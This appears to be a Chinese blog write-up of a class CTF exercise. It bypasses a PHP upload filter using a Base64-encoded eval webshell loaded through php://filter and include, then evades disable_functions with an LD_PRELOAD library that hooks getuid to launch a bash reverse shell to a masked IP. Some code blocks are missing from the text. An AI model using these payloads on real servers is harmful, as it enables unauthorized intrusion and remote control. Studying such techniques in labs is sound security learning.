PHP之Base64+php://filter绕过、disabled_function绕过

目录

一、Base64+php://filter绕过

1.思路分析 

2.实践验证

二、disabled_function绕过

一、Base64+php://filter绕过

上课讲了这样一道题,一起来看下(以下代码适用于PHP7.x及以上,5的版本会报错)

'.$msg." Look here~ ".$img_path."
"; }

前端就是一个上传标签,没啥可看的




    
    
    文件上传


    

上传文件

1.思路分析 

题目要求只能上传php文件,上传普通的一句话肯定不行,直接被过滤掉

普通Webshell不行,那上无字母呢? 很明显也不行,过滤了$_ , ~ , ^等符号

最终发现它没有过滤Base64编码和php://filter,include也可以试试用大写能不能绕过

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行

思路:

首先可以上传一个经过Base64编码后的一句话,这样就不会被过滤了

之后再上传一个文件包含的php代码,include函数里面指定php://filter文件流,把我们上传的一句话当做php代码执行

最后蚁剑连接getshell

2.实践验证

  • 那么我们首先呢上传一个经过Base64编码后的一句话绕过过滤
PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
  • 然后先写好php://filter,resource后面接我们上传的一句话,因为被Base64编码了,所以要先进行解码
php://filter/convert.base64-decode/resource=93bc3c03503d8768cf7cc1e39ce16fcb.php
  • 之后加上Include就大功告成了

直接上传,但是被过滤了,仔细看看发现是"-"被过滤掉了,也可能是Include大写绕不过去

PHP之Base64+php://filter绕过、disabled_function绕过_第1张图片

那只有找别的办法,Include先不管,"-"怎么解决?

这时候还是可以用Base64来绕过,php://filter里有这个符号,那我们就直接编码,这样就绕过了

编码后那就需要解码,加上base64_decode就行

那这样新的代码就出来了

上传成功,先传个phpinfo试试

PHP之Base64+php://filter绕过、disabled_function绕过_第2张图片

 成功执行,那就上蚁剑,直接getshell

PHP之Base64+php://filter绕过、disabled_function绕过_第3张图片

连接成功后,原题本来是有disabled_function过滤的,这里由于是自己搭的环境,没办法

所以用现成的docker又搭了一个,来模拟我们getshell后遇到disabled_function过滤

二、disabled_function绕过

getshell后进入命令行

可以看到我们执行任何命令都返回ret=127,可以确定有disabled_function过滤

PHP之Base64+php://filter绕过、disabled_function绕过_第4张图片

那怎么绕过呢?

这里就可以利用LD_PRELOAD这个环境变量,具体可以看我的上一篇博文

Nginx负载均衡下的webshell连接与过滤绕过以及LD_PROLOAD利用_Catherines7的博客-CSDN博客

这里其实可以用蚁剑的插件直接绕过

但这次我们自己来写动态链接库绕过

#include 
#include 
#include 

void payload() {
    system("bash -c 'bash -i >& /dev/tcp/xxx.xx.xx.xxx/2333 0>&1'");
}

uid_t getuid() {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

劫持getuid这个函数,来执行我们的反弹shell命令

同样,gcc编译

gcc -shared -fPIC hook_getuid.c -o hook_getuid.so

编译后上传到服务器的/var/www/html目录下

再上传一个php文件

然后到浏览器去执行这个php文件

但是因为我这里是docker环境,弹shell弹不出来

但是又没有disabled_function过滤的这样一个环境,所以就没有进一步深究了

你可能感兴趣的:(php,安全)